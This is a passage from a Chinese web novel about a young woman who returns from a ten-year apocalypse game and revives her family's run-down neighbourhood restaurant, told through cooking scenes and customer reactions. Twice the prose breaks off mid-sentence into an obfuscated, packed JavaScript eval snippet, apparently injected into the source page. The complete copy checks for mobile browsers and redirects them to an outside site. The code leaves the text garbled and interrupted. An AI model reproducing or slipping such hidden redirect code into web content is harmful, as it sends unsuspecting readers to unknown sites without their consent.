《满级厨神的小饭馆[美食]》 1. 炝锅面 “咚咚!” 清晨,一阵急促的敲门声响起:“开门,别躲在里面装死!” 云漪从睡梦中惊醒。 她下意识去探枕头底下的匕首,却只能摸到硬邦邦的床板。 额角一滴汗珠滚落,云漪这才看清眼前的景象——六月初夏,屋里没有一丝凉气,只有窗缝时不时透进些许微风。入目所及的再也不是密不透风的铁皮屋,而是破破烂烂的毛坯房,水泥地上还覆着一层未干的水渍。 这是她住了二十一年的筒子楼。 云漪松了一口气。 看来,她终于通关了末世游戏,回到了现实世界。 她抬头看了一眼日历,虽然在末世游戏里经历了十年,现实世界却只过了一天。 而今天,正好是她的亲生父亲罗富给她相亲的日子。 敲门声越来越急促,几乎快要把脆弱的门板砸碎。 云漪烦躁地揉揉粗糙的头发,一把拉开大门,居高临下地望着罗富,眼底不带一丝温度。 罗富腋下的皮包险些掉在地上。 这丫头平日里唯唯诺诺低声下气的,在他面前总是弯腰驼背捏着衣角,被他瞪一眼都会吓哭,怎么今天一反常态? 罗富咯了口老痰,伸手就要推门:“老子不是跟你说了十点?你怎么头没梳衣服没换?本来就土,还不打扮,这样小王怎么看得上你?” 可云漪却一巴掌拍在门板上,拦住他:“这里是云家,不欢迎你。” 罗富见她突然强硬,不甘示弱地挺起胸膛:“读个大学给你把尊老爱幼都读没了,怎么对你老子说话的?” 云漪凉凉道:“我没老子,早就不知道埋进哪个坟头了。” “你!”罗富下意识就想抬手扇巴掌,转念一想小王还在等着,脸上肿了不好看,“你不就是想继续读大学嘛,嫁过去拼个儿子照样可以读啊。人家小王家里有个厂,要啥有啥,就是前妻不中用生了个闺女。当爹的给你铺的这条路,不比你大学毕业去什么银行里坐柜台好?” 嫁人生子? 说这么多,不就是想把她卖了么? 罗富自从结婚起就对这个家不管不顾,打骂老婆苛责女儿。后来更是在云秀珠怀二胎期间出轨,在坐月子的时候断了全部生活费,逼得云秀珠大冬天饿肚子、用冰水,留下严重的后遗症。 小地方的人什么也不懂,只知道忍气吞声以夫为尊,就连后来离婚分家了也惧怕他七分,他让给钱就给钱,他让相亲就相亲。 从小在这样压抑的环境下长大,云漪更是胆小怕事,凡事都要看罗富的脸色。 可现在云漪不一样了。 去了一趟末世,云漪见识过人性的可怖,也手刃过持刀的抢匪,像罗富这种只会窝里横的草包,她连瞧都瞧不上。 好笑,也不知道从前的自己在怕些什么。 云漪默了默。 然后转身走进房间,在柜子里拾掇着什么。 “这就对了嘛,换身好点的衣裳——”突然间,罗富的得意戛然而止。 因为云漪拎着一把割草的铁镰刀出来了。 罗富吐了句不堪入耳的脏话,皮包一扔袖子一撸,作势就要抢刀。 云漪手腕微微一转,轻而易举躲过了他的扑击,反手用刀刃对准罗富的脖颈。 她半眯着左眼,语气轻飘飘的:“这刀割草锋利,不知道割头怎么样。” 罗富喉咙里挤出来一声嘶哑的恐惧,腿一软撞上了门框。 今天这丫头不知道怎么了,跟疯了一样。他虽然爱钱但更惜命,就算面子上挂不住,也只能连滚带爬地逃走。 不忘留下一句经典台词:“你……你给我等着!” 云漪放下镰刀,在裤腿上蹭了蹭手上的锈迹。 忽然,裤兜里有什么东西划过她的掌心——是一张全家福照片。 在一个个暗无天日的黑夜里,面对嘶吼的丧尸和强闯的歹徒,云漪全靠这一张全家福坚持下去。 照片里,扎麻花辫的小女孩是云漪的妹妹云葵,家里供不起第二个学生,只能让她早早辍学打工;面色苍白的是云漪的妈妈云秀珠,需要长期打针吃药和复诊;满头花白的是春华姥姥,已经六十二岁了却还要拖着一副年迈的身躯赚钱养家。 罗富仅仅只是这个家里的难关之一。 从前是她懦弱,以为罗富是一座跨不过去的高山,以为这个家的未来一眼便看到了头,以为世界上只剩下了黑白灰三种颜色。 可末世一遭给了她重新开始的勇气。 即便眼前是刀山火海,她也要赤脚踏平。 云漪穿上一双发黄的运动鞋,一路向长平东路狂奔。 - 长平东路有一家云记小饭馆,是云家一代代传下来的招牌。 可到了云秀珠这代,她不敢忤逆丈夫,只能把饭馆交给罗富,罗富却不肯脚踏实地经营,而是干一些挂羊头卖狗肉的生意。离婚后,云秀珠费了老大劲才把云记要回来,罗富记恨在心,时不时找人上门闹事,再加上云秀珠身体每况愈下,云记小饭馆的生意也是一落千丈。 云漪走进大门,云记小饭馆和家里一样没有开空调,只有一台黑色摇头扇嘎吱嘎吱地工作。 店面不算大,却也能放下八张方桌。地面一片狼藉,到处是烟头烟盒和碎裂的酒瓶,应当是昨晚的客人留下的垃圾,云秀珠还没来得及收拾。 明明是午饭的点,云记小饭馆里却空无一人。 云漪推开厨房门,里面一片昏暗。她打开灯,忽闪忽闪的灯泡晃人眼睛,隐约能看见灶台上的点点油渍。 云漪去附近的超市买了几枚新灯泡,还带了三瓶强力油污清洁剂和一大包五洁粉。 她先用桌椅搭成梯子,轻轻松松给店里的灯都换了一遍。然后又回到厨房,用光了三瓶清洁剂,把四个灶台搓得光洁如新,油烟机凹槽里就算徒手摸过去也不带一丝黏腻。 云漪掀开一个不锈钢盆,里面有一团正饧着的小麦面。 她想了想,取出来揉搓成光滑面团,继续醒发。 关上厨房的门,她捡起大厅地面大块大块的垃圾,易拉罐和酒瓶单独装到一个大袋子里卖给回收站。又用清水沾湿抹布,浸着五洁粉把桌椅柜台擦得干干净净。这里的桌椅都是老匠人雕刻的,用料上乘,经过深度清洁,锃亮得仿佛崭新出厂。 “呼……”云漪抹了一把额前的汗水。 经过一番努力,总算是有点欣欣向荣的样子了。 半个小时过去,面团里的面筋也松弛得刚刚好,云漪洒了些玉米面,控制着不大不小的力道把面团擀成毫米厚的面皮,再切成粗细均匀的面条。 竹筐里还有些剩下的蔬菜,云漪挑了几根大小葱、摘了几片脆甜的白菜叶,又磕上三个土鸡蛋。 起锅烧油,葱段下锅爆出清脆的声响,一大勺酱油激出醇厚的香味。 不过几分钟,两碗香喷喷的炝锅面就出锅了。 云漪把面碗端到方桌上等云秀珠回来一起吃,风扇可以给热腾腾的面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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炝锅面是家家户户都会做的最简单的面食之一,方媛媛从小吃到大,都快要吃吐了。每次放学回家一看见又是炝锅面,方媛媛都要闹脾气。这种清汤寡水又没味的面条,还不如煮一包康师傅方便面。 可云记小饭馆这碗面,来一车康师傅她也不换。 她是上个月才来这边社区做志愿者的,因为这里位于德市三环外,玩的少吃的更少,连外卖配送费都得多收三块,她不得已只能囤了一柜子的速食产品。 早知道云记小饭馆这么好吃,她浪费那些钱干什么,出门拐个弯就有新鲜现做的美味! 方媛媛说着就要给钱,被云秀珠拦了回去。 云秀珠看着她,目光迟疑又不解。 这碗面的确很香,可春华的厨艺顶天了算是能吃的水平,没想到方媛媛这个大城市来的孩子会这么喜欢。 可怜的孩子,一定是成天吃外卖,没吃过什么好的家常菜。 这样想着,云秀珠看她的目光多了一点怜爱,也取出一双筷子拌匀面条。 可第一筷下肚,云秀珠就意识到了不对劲。 这碗炝锅面,看起来和普通面条没什么不同,顶多是色泽更有食欲。可真正下嘴才发现,它偏偏就是葱香鲜了一分、酱香浓了一分、麦香甜了一分,每一分都是恰到好处。 云秀珠不由得震惊,春华啥时候厨艺这么好了? 2. 酸辣手撕鸡 厨房门咔哒一声打开。 云秀珠一抬眼,看见的却不是春华,而是本该发烧在家躺着休息的大女儿。 云漪和母亲只是四目相对,鼻头就泛起了酸涩。 云秀珠还是记忆里那副面孔,眼尾带笑,就像一股醇厚的陈年酱香,温柔又稳重地包裹着她。 云漪很想扔掉围裙,冲上去肆意汲取母亲的温暖,可她又不敢这么做。 对云漪而言,她们已经睽隔整整十年了;可对云秀珠而言,她们只是一天未见。 太过反常的表现,会让妈妈担心。 她咧开嘴:“妈,你回来了。” “你刚放假,不在家里睡懒觉跑来店里做什么?”云秀珠瞪着她,语气微嗔,“都说了,店里我一个人忙得过来。” 云漪指着角落里一大包回收垃圾,无奈道:“忙得过来但一地狼藉?忙得过来但没人守店?” 一说到这个,方媛媛缓缓举手:“那个……你好,我是这个社区的志愿者。有件事情云阿姨不让我说,但我还是觉得应该告诉你。”方媛媛把今天的情况一五一十地说了出来。 云漪了然,难怪店里一直没有人守着。 她蹲在云秀珠身前,左左右右地检查她有没有受伤:“以后你就在家好好养病,别操心了。” “那可不行,家里就指着这么个小饭馆。再说了,你姥姥也能过来搭把手。”云秀珠朝厨房探头,后知后觉问,“姥姥不在里面吗?” “春华姥姥?”云漪不解,“我十点过就在店里了,没遇见过她呀。” 云秀珠狐疑皱眉。 春华没来过店里,那这两碗面是谁做的? 她四下环顾,这时才发现饭馆里焕然一新,就连灯泡都换成了新的。春华都六十二岁了,爬楼梯都费劲,怎么可能干这么多体力活? 而面前的云漪,不仅穿着围裙从后厨出来,手里甚至还有……香葱的味道。 云秀珠指着只剩下一个汤底的面碗,小心翼翼道出自己的新一轮推测:“一一,这两碗面是你做的?” 云漪:“……” 要是不说她都没发现,桌上两碗炝锅面已经被洗劫一空了。 她的午饭没了TAT 云漪忍住心碎,点点头:“味道还不错吧?” 方媛媛竖起大拇指:“何止是不错,简直是我这辈子吃过最好吃的面!听云阿姨说你大学还没毕业,从哪里学会的这门手艺,太厉害了!” 从哪里学会的? ——当然是在末世游戏里自学成才。 刚穿进末世游戏,云漪没有别人的强力金手指,比如安全屋、无限空间、一击必杀等等,也没有别人的自带天赋,比如高敏捷、力大无穷、医学常识等等。 她会的,只有云秀珠教她的一点能吃饱饭的厨艺。 于是,别人为了一个罐头撕扯杀戮的时候,她用冷吃牛肉贿赂打手看门;别人被迫啃发芽土豆的时候,她用香煎薯饼收买房屋加固专家;别人饥肠辘辘一个个倒下的时候,她吃饱喝足把厨艺刷到Lv.99满级,成功熬到末世结束。 每天和食物作伴,云漪对口味的把控精准到了极致,盐糖多一粒少一粒都能吃出差别,火候控制更是炉火纯青。 末世里那些稀奇古怪的食材一经她的手,都能做成美味佳肴,更何况现实世界。 当然,这些她是不会说出来的。 一是怕穿越这件事情家里老的老小的小接受不了,二是怕她们知道自己在末世里摸爬滚打了十年担心心疼。 云漪笑得甜滋滋的:“从小跟我妈妈耳濡目染,再加上大学兼职干过不少后厨帮工,不知不觉就练出来了。” 方媛媛仰天长叹,痛斥人世不公。 怎么人家兼职就能学出一手好厨艺,她兼职就只能抱着速食产品啃? 吃饱喝足,方媛媛一边感慨一边起身:“那云阿姨,我就先回办公室了。” 送走方媛媛,云漪和云秀珠面对面坐下。 云漪握着母亲冰凉的手,义正辞严:“妈,糖尿病不是小毛病,医生也跟你说过好多次了,严重了可能发展为肾衰竭尿毒症。” “我也知道,但云记小饭馆不能没有人呀。” “还有我呢。” “可是……”云秀珠欲言又止,抬头纹里填满了担忧。 这孩子从小乖巧懂事得令人心疼,读大学时拿了全额助学金不说,课后周末也从来不出去玩,都是在打工给自己赚生活费。大三的夏天原本是最后一个可以放肆玩耍的暑假,却要让云漪闷在这狭小无趣的云记小饭馆里。 云秀珠不想让云漪为了这个家勉强自己。 “你要是不放心的话,就让我先干三天,”云漪拍拍胸脯,“三天之后我干不下去,就不揽这瓷器活了。” 女儿都这么说了,云秀珠只好叹着气同意了。 与此同时,长平社区办公室。 “媛媛,你还没吃饭吧,我这儿有自热火锅来吃两口?” “我吃过面了,比自热火锅好吃多了。” “哪家的,这附近的面馆都一般啊。” 方媛媛坐在旋转椅上,一脚滑到同事身边:“不是面馆,是长平东路18号的云记小饭馆。” “云记?”周丽萍嫌弃地摆摆手,“你少去那家店,那家男老板偷工减料,用菜市场的烂菜叶和冻了几年的僵尸肉,把人都吃进医院里去了。” 方媛媛吓得捂住肚子。 可是……虽然她吃不出食材有多新鲜,却勉强能分辨好坏,今天那碗炝锅面的味道绝对不是偷工减料能做出来的。 “不可能啊,难道换老板了?”周丽萍听她这么一说,也起了好奇心,翻了翻表格,“还真是,去年从罗富变更为云秀珠了。不过啊,这种老馆子都大差不差,老一辈的做生意么,换汤不换药。” 周丽萍是社区老职工了,她的话多少有几分道理。 可方媛媛的眼睛和胃却在抗议。 她相信耳听为虚眼见为实,云阿姨明明是一个很温柔很善良的好人,云漪用的食材也是真的新鲜。 而且…… 真的很好吃啊…… 越是纠结,方媛媛的嘴巴就越是馋,她甚至迫不及待地想等下班再去来一碗香喷喷的炝锅面。 嘶,不对。 云记小饭馆的老板是云秀珠,云漪今天应该只是去帮忙的吧,那晚上还能吃到她心心念念的那一碗吗? 这么想着,方媛媛从社区重点关怀名单里翻出了云秀珠的档案,通过手机号添加了微信。 【云阿姨,我是今天的志愿者方媛媛。】 【你好小方。】 【这是我的个人微信,以后您看病取药可以直接叫我。】 【太感谢你了,你是我见过最负责的志愿者/赞】 顿了顿,方媛媛迟疑着输入:【那个,我还有一件事想问问您。】 【别客气,你说/微笑】 【就是……我今天晚上去云记吃饭的话,还能吃到你女儿做的菜吗?】 手机那头,刚刚还在担心女儿扛不起云记的云秀珠:“……” 长江后浪果然是推着前浪走的啊。 - 风扇开了最小档,云漪把头发扎了个大光明,坐在柜台前开始研究菜单和食材。 云记是典型的老牌饭馆,菜单上都是耳熟能详的家常菜,几十年如一日不会更改,云漪几乎都能信手拈来。 只不过……她还是觉得缺了点什么。 这时,门外传来刺耳的三轮刹车声。 佝偻身影挎着两个大竹筐,步履蹒跚地走进来:“一一,你也来店里啦?” “姥姥!”云漪连忙从她手里夺过竹筐,沉甸甸的。 竹筐里铺着一层五颜六色的新鲜蔬菜和土鸡蛋,不是缺枝少叶就是个头迷你,总归不太漂亮。 云漪搀着春华坐下,替她捏肩,揉开被竹筐勒出的红痕:“今天剩了这么多,菜贩子不要么?” 春华一边捶腿一边叹气:“他们现在挑得很呢,明明都是好菜,但是个头小点的价格都对半砍。我想着卖也卖不了几个钱,就别糟蹋了,带回来自个儿煮个粥下个面的也好。” 春华看天吃饭的本领是这片出了名的,经她手种出来的地就跟开了光似的,土壤肥沃,蔬果香甜。 可春华毕竟是一个人在地里忙活,顾不上一边照看田地一边去城里卖,偶尔还要帮着守守云记,所以她都是每天清晨天不亮就收了菜背去卖给菜贩子,菜贩子从她手里几毛钱收,再几块钱卖出去,翻了十几倍。 久而久之,菜贩子摸清了春华的底细就开始得寸进尺。 这些,云漪心里都清楚。 这时,云漪余光瞥见蔬菜底下还有一抹青黄色,好奇问:“这两筐沉甸甸的,下面是什么?” “余甘子。我今早上看有几棵树上的果子都掉地上了,想着别浪费,就全摘了。谁知道他们都不收,说是城里没人吃这东西。” 余甘子,也就是常说的油柑。 春华捡出一颗,在衣摆上擦了擦:“城里人不吃我吃。” 春华穷惯了,见不得浪费。可油柑空口吃酸涩难忍,春华才咬一口牙齿就被酸倒了,却还是强忍着咽下去。 云漪端来一杯温水,轻柔地顺着姥姥的脊背。 她也拾起一颗。 这两大筐油柑足有三四十斤,个个皮薄肉多,青中透着黄,表面生了脏兮兮的纹路,看起来丑丑的。 入口尝了尝,的确酸涩微苦,可很快却又一股回甘涌上,连带着津液也生着甜。 云漪砸吧砸吧嘴,忽然提出:“姥姥,这两筐余甘子你就别吃了,给我吧。” 云记这样的老店,不能一成不变。 缺了点新意。 把油柑搬进厨房,云漪取了一小盆洗净,放进封口袋里用擀面杖砸出裂口,再往袋子里 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自打中午吃了炝锅面,方媛媛一下午都念着那个味道,连藏在抽屉里的小零食都食之无味了。 下午五点半,附近陆陆续续有人下班放学。 长平东路却人影寥寥,只有几家专做外卖的店铺热火朝天,门口排了一溜取餐骑手的电瓶车。 方媛媛一路吹着电动小风扇,走进云记的时候都还在淌汗:“云漪,这么热的天店里还是把空调开着吧。” 云漪调整了摇头扇的方向,递了张纸给她擦汗。 空调这个问题,云漪不是没有考虑过。 今年的德市热得出奇,五月就开始高温暴晒了,估摸着盛夏会突破四十度大关。作为一家饭馆,没有冷气是万万不行的,别说食客了,她天天在厨房里做饭都能被闷死。 可是现在店里这台立式空调耗能太高了,是罗富不知道从哪个犄角旮旯里淘来的便宜货,连维修都找不到厂家。 商用电费本来就高,云漪想着,得尽快换一台节能空调。 “不好意思,我再给你搬一台风扇来。” “诶没事,我已经凉快下来了。”方媛媛一心念着美味,“云漪,再给我来一碗炝锅面吧,就今天中午那种。” “好,还需要点别的什么吗?” 方媛媛想起下午云秀珠的微信回复,满怀期待地问:“听云阿姨说,接下来几天都是你下厨,那你还会些什么?” 云漪从柜台上抽出一张纸质菜单,指了指其中两道菜。 方媛媛有些失望:“……只会做这两种吗?” 也是,虽然云漪的炝锅面一绝,但她又不是专业厨师出身,能把一两道菜做到极致就已经很了不起了。 谁知道,云漪却摇摇头:“这两道菜没准备材料,其他的我都能做。” 都、都能做?! 这菜单上虽然都是家喻户晓的家常菜,可怎么也有二三十道,云漪一个大学生竟然全都会做?! 方媛媛看着琳琅满目菜单犯了难。 见她一脸纠结,云漪忽然开口:“不过,我推荐一道今天刚上的菜品,你要试试吗?” 既然厨师本人都这么说了,方媛媛也立刻拍板决定。 不过几分钟,一碗炝锅面就摆在了方媛媛面前,晚上的炝锅面里还多了一些肉丝。 一同端上桌的,还有一大盘酸辣手撕鸡。 鸡肉用的是汁水丰盈的土鸡,顺着纹理撕开,像座高耸的雪山堆在盘中。山脚铺着五颜六色的细丝,有葱丝、青笋丝、胡萝卜丝。花椒香菜与干辣椒被热油激发,还在滋啦作响,香气层层叠起,钻入方媛媛的鼻腔。 她迫不及待用筷子拌匀,条条分明的鸡丝被红油包裹,泛起诱人的光泽。 一口下去,鸡肉不柴不散,软糯得像是在咀嚼棉花糖。 可最让方媛媛惊喜的,还是这道菜的口味——入口是一种特别的酸辣,不是陈醋的刺激,也不是柠檬的清甜,而是另一种带着果香的清爽。紧接着,辣味渐渐铺开,却不呛人,只在唇齿间流转,带着微微的麻香。虽然鸡肉只是裹上了汁,却一点不会觉得没味,鸡肉自身的鲜嫩甚至更添了一丝风味。 更神奇的是,酸、辣、麻、鲜在舌尖轮番滚了一遭后,喉头竟然还涌上来了一丝回甘。 就像是背井离乡前心头有万千思绪,却在回头看见家人朝你挥手的那一眼化作一个动容的笑。 只尝了一筷子,方媛媛就停不下来了。 热气腾腾的炝锅面配上酸辣多汁的手撕鸡,不仅口味中和,就连冷暖也中和了。 她吃得额头冒汗,想伸手去够一杯温水,又舍不得放下筷子,愣是一口接一口吃完了才灌了满满一杯水。 “云漪!”方媛媛的嘴巴终于有空说出一句话来,“云记有你在,倒不了!” 3. 白玉油柑 方媛媛是土生土长的北方人,大学才来德市念书,又留下读了研。 德市是知名美食之都,但她对美食没什么追求,能吃饱就行。再正宗再好吃的美味,吃多了她也还是觉得不如来一份麻辣拌配馍馍。 可云漪的厨艺让她第一次觉得,来这一趟是值得的。 炝锅面和酸辣手撕鸡的量都很大,方媛媛的胃已经填满了,一脸餍足地瘫在椅子上,可嘴巴却还馋着,像怎么也吃不够似的嗷嗷待哺。 “云漪,你这个酸辣手撕鸡怎么和外面的味道不一样?”方媛媛忍不住问道,“我也没看见里面用了柠檬,哪里来的酸酸甜甜的味道,是用了……浓缩香精吗?” 云漪笑了笑,从厨房取出一颗小小的、丑丑的油柑。 方媛媛在家乡从没见过这玩意,一口咬下去,又酸又苦的刺激给她戴上了痛苦面具:“这东西……能做菜?” “能呀,你看这里面几近透明的碎末就是余甘子。”云漪指着盘子里仅剩的一点残渣,“我用盐腌制了一下午,去除了一部分涩味,不过现在还不是最佳口感,再腌制一夜会更加爽口。” 方媛媛目瞪口呆,这道菜已经让她感慨不虚此行了,竟然还不是最佳的风味?! 那她明天高低得再来一趟了! 方媛媛吃完了才想起钱这件事,一边找店内张贴的二维码,一边问:“这两道一共多少钱?” 炝锅面和酸辣手撕鸡都是菜单上没有的品类,云漪的脑袋里疯狂过了一遍物价和成本,给出一个数:“炝锅面15元,手撕鸡42元。” 云秀珠一向实诚,和罗富完全是天壤之别。 虽然云记生意惨淡,可云秀珠进的货依然是她一样样试菜过的,品质极好。就比如鸡肉,都是她每天清晨天不亮就去取的野生走地鸡,光是土鸡都要25元一斤。 再加上云漪给的量大,所以这个价格,她觉得合适,只是不知道食客怎么想…… 云漪有些忐忑地望着方媛媛。 “什么?!”没想到,方媛媛惊呼,“这么大一碗肉丝炝锅面才15元吗?!” 要知道,她在街边随便找一家面馆,二两酸菜肉丝面都要15元了,而且里面还几乎都是酸菜,肉都找不到几根。手撕鸡的价格虽然略微超出方媛媛的接受范围,但这么大一份,放在别的饭店里怎么也要卖个七八十,味道还没有云记的好。 ……她以前过的都是些什么日子啊! 方媛媛爽爽快快地付了钱,也大大方方地说出了自己的想法:“云漪,你给的量太大了,我吃一碗主食一个荤菜就吃不下了……我还想尝尝别的菜呢。” 尝尝别的菜么…… 现在云记的菜色不多,等以后菜单丰富了,总会有方媛媛这样的食客,一份吃不饱,两份吃不爽,三份又吃不下。 有没有什么办法,能满足大部分食客呢? 云漪把这件事情记在了心里。 “那我调整一下分量和价格,等你下次来再帮我试试。” “不用等下次,我明天还来!” “行,”云漪对这个热心肠的志愿者很是有好感,笑着说,“你明天来,我送你点新菜。” 方媛媛听见这句话的激动程度,不亚于导师对她说“你的论文质量很高”。 方媛媛甚至找云漪要了一页菜单带回家去,亟不可待地挑选着。为了多吃几口菜,明天她决定不吃主食了,点一份最佳风味的酸辣手撕鸡,点一个热菜,再点一份汤。 她就不信这回还吃不下! - 长平北路,熙熙攘攘的学生从外国语附中里鱼贯而出。 孔喆一脸烦躁地推开行人,对着导航APP一会儿左右张望一会儿低头摆弄手机方向。 高三生昨天刚高考完,学校就迫不及待地让高一高二回来继续上课。孔喆放了个高考假,没日没夜地玩了三天游戏,今天上午三门主科都在打瞌睡,被老师叫去了三趟办公室,班主任还说他要是再这么懒散就叫家长来。 孔喆最怕叫家长,又实在困得不行,只能点了两杯超浓冰美式。 可是天要亡他孔大公子,好不容易撑过了最后一堂课,他一看——您的前面还有89杯正在制作,请耐心等候。 长平路虽然在三 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玻璃桶上贴着漂亮的字牌,“白玉油柑”,一个年轻的女孩正在倾倒青白色的汁液。 果汁的颜色不深不浅,不浑不浊,像是被丝绸一样的清水慢慢化开的玉石,温润清透。和桶底的冰块相融,起了一层薄薄的水雾,衬得果汁像什么琼浆玉液一样。 也是奇了怪了,明明只是闻着,孔喆就已经被这股清凉安抚了心底那一丝躁动,止不住地咽口水。 云漪添完最后一壶,忽然察觉到两束强烈的视线。 她一回头,和穿着外国语附中校服、狗狗祟祟的孔喆大眼瞪小眼。 云漪:“……” 孔喆:“……” 孔喆被当场抓包,支支吾吾半天,吐出一句:“你、你这果汁卖吗?” “暂时不卖。” “哦……”孔喆垂着肩,难言的失望涌上心头。他也不知道在失望个什么劲儿,想喝果汁的话,明明有几十家知名饮品店可以挑选。 “不过,”云漪笑了笑,“在本店吃饭,白玉油柑免费畅饮。” 4. 蒜苗回锅肉 孔喆很是犹豫。 早上为了补作业没时间吃早餐,中午一下课他又跑出来自取咖啡,现在肚子里的确是空空如也。 可是眼前这家店又老又旧,正是午饭点却没一个人吃饭……能好吃吗? 再说了,他的订单前面只有67杯咖啡了,没必要为了尝一杯不知名的果汁花这个冤枉钱,万一是一家黑店呢?待会儿取了咖啡,在学校附近点一个炸鸡套餐岂不是美滋滋? 孔喆摆摆手:“不用了,我不饿。” 就在这时,一个身穿志愿者马甲的人冲进了饭店,张口就点单:“云漪,给我来一份酸辣手撕鸡,一份蒜苗回锅肉,再来一个番茄肉丸汤!” 云漪记下手写单,接了一杯冰凉的果汁递给她。 “这是什么,闻起来好清爽!” “白玉油柑。店里热,我做了一点冰饮解暑。” 方媛媛小心翼翼地抿了一口,眼里是藏不住的惊艳:“这个味道……竟然是昨天我吃的那种又苦又涩的油柑榨成的汁吗?!” “嗯,我腌渍了一夜,又加入了一些别的水果提升风味。” 方媛媛一路狂奔而来,本就口渴,端着杯子就一饮而尽。 “饮料桶就在那边,想喝就接。”云漪突然想起什么,“对了,油柑刮油清肠,不建议连续饮用三杯以上。” 方媛媛点头,转身就又去接了一杯。 她点的都不是什么工序复杂的菜品,云记小饭馆出餐很快。 酸辣手撕鸡色泽诱人,番茄肉丸汤清甜鲜美。 可最让人垂涎三尺的,还是那一道满是锅气的蒜苗回锅肉。 二刀肉的肥瘦比例刚刚好,薄薄一片被猛火烧灼,边缘卷起微微的金黄脆边,形成漂亮的灯窝盏。盘里红绿分明,蒜苗翠绿得像春日的竹节,裹着透亮的油脂。即便站在门外,也能闻见豆豉的咸香和辣椒的热烈。 孔喆的肚子没忍住咕嘟叫了一声。 孔喆:“……” 太尴尬了! 明明刚才才拒绝了老板,还大言不惭地说不饿!可是店里那一桌饭菜,谁看了会不馋啊! 孔喆在门口装模作样徘徊了几分钟,一会儿佯装檐下遮阳,一会儿装作焦急等人,最终还是败给了他的胃,认命地挑了一张最角落的椅子坐下。 他迫不及待地也点了一份蒜苗回锅肉。 肉片入口先是外层皮脂的微焦,再是香而不腻的软润肥肉,最后是紧致不柴的瘦肉,混着豆瓣的酱香,每一口都是无限的满足。 孔喆一口菜一口米饭,就连作配的蒜苗也一点没有放过。 见他吃得又急又快,像被饿鬼在后面追一样,云漪压着嘴角的笑意,在他手边轻轻放下两个杯子。 一个是饭馆的小瓷杯,一个是约莫三百毫升的冷饮杯,都装满了白玉油柑,冰块咣当作响。 孔喆一拍脑袋,这回锅肉香得他都忘记是被白玉油柑吸引来的了。 “虽然不卖,但是可以给你外带一杯,就当是新客福利了。”云漪取了一根自带包装的吸管递给他,“这杯带回学校喝吧,提神醒脑,下午就不容易犯困了。” 终于喝到心心念念的白玉油柑,孔喆端起瓷杯,轻轻抿了一口。 和他想象中的味道截然不同,最先扑上来的是一股油柑特有的清锐,干净、轻盈,还带着一点微微的苦味,却并不涩口。舌尖还没有来得及叫苦,便被随之而来的甘甜轻轻托住,是全然不同于香精白糖的甜,像一缕果园里的微风在喉间打转,很独特的风味。 方才回锅肉在口腔里留下的香油,被白玉油柑轻而易举带走。 孔喆只觉得神清气爽,连胸口都亮了一分。 就着白玉油柑,孔喆吃了整整两碗白米饭,瘫在椅子上直打饱嗝。 云记的量这么大,下次再来的话,他得叫上几个好朋友一起,这样就能多点几个菜了。 这顿午饭的价格是32元,而学校附近快餐店里的炸鸡套餐是28元,两者价格上不相上下,可吃了云记的菜后,孔喆只觉得炸鸡又油又腻。听说快餐店用的都是肉鸡,也没有鸡肉的香味。更重要的是,套餐价格竟然还包括了一杯可乐,半杯都是冰块,大夏天里一会儿就化成没气的小甜水了。 也是奇了怪了,来云记之前他也没觉得炸鸡套餐有这么一文不值…… 孔喆坐着消食,闲来无事环顾了一下这家饭馆,看起来已经开了许久了,可他在这里读了两年高中,怎么一次都没来吃过? 他顺势点开大众点评APP,搜索了云记小饭馆。 这一搜,可给他吓了一大跳。 云记小饭馆在APP上已收录18年,是资格正宗的老店,可是评分却只有可怜的2.3分。消费者评价里铺天盖地的都是差评,用料廉价、服务态度差、明明是饭馆却在饭店大摆牌桌满地烟头酒瓶,甚至还有老板骚扰食客的…… 他看看评价,又看看眼前的云记小饭馆,怎么也无法把这两者对上号。 孔喆忍不住询问:“老板,大众点评这家云记小饭馆是你家吗?” 云漪好奇地接过来,脸色越来越沉重,就连方媛媛都忍不住探头。 “我靠,之前的老板也太不干人事了吧!”方媛媛义愤填膺,说着就掏出手机,“云漪你别怕,我马上给你写个好评!” 一条好评哪能压得下几百条差评? 云漪默了默,她没想到罗富竟然把云记小饭馆经营得这样差劲,难怪妈妈无论如何也要把云记要回来。 她拍拍方媛媛的肩:“没事,我一会儿去了解一下大众点评的打分机制,看能不能补救一下。也谢谢你告诉我这件事情,云记去年换了老板,那些评价都是针对前老板的。”后一句话是对孔喆说的,语气里是真诚的感激。 孔喆选择最新评价看了一眼,的确,差评几乎都停留在去年十月以前。 十月以后的评价寥寥,但几乎都是四星,指责点也集中在没有服务员、上菜慢和菜色普通这几点上。 孔喆端着白玉油柑走出云记小饭馆。 走着走着,他又重新点开大众点评,站在原地敲敲打打: 【被这家店的白玉油柑吸引来的,没想到这么好吃!我一个人点了份蒜苗回锅肉,量超大,一上桌香味直接冲脸,超级下饭,一不小心就干了两碗米饭!店里氛围很舒服,老板人超好,价格也很合理!推荐多人就餐,相信我,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958368|193236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要尝了她家一个菜就一定会想尝第二个菜!PS:白玉油柑真的绝了,进店就免费畅饮,要不是怕窜稀我能抱着桶喝!】 提交评价,孔喆心满意足地离开。 一个小时后,孔喆带着一杯白玉油柑和一杯超浓冰美式回到高二七班,正好赶上下午第一节课的预备铃。 同桌的午觉被他惊醒,擦了擦嘴角的口水,看见他拎着咖啡回来,熟稔地招呼:“是超浓的吗?给我喝两口。” 闻言,他周围的同学也纷纷开口:“给我也来点!” “你们分着喝了吧,”孔喆抽出一包卫生纸,“我去上个厕所,老班提前上课的话帮我说一声。” 上课铃响后,孔喆才猫着身子姗姗来迟,却没看见讲台上的班主任。 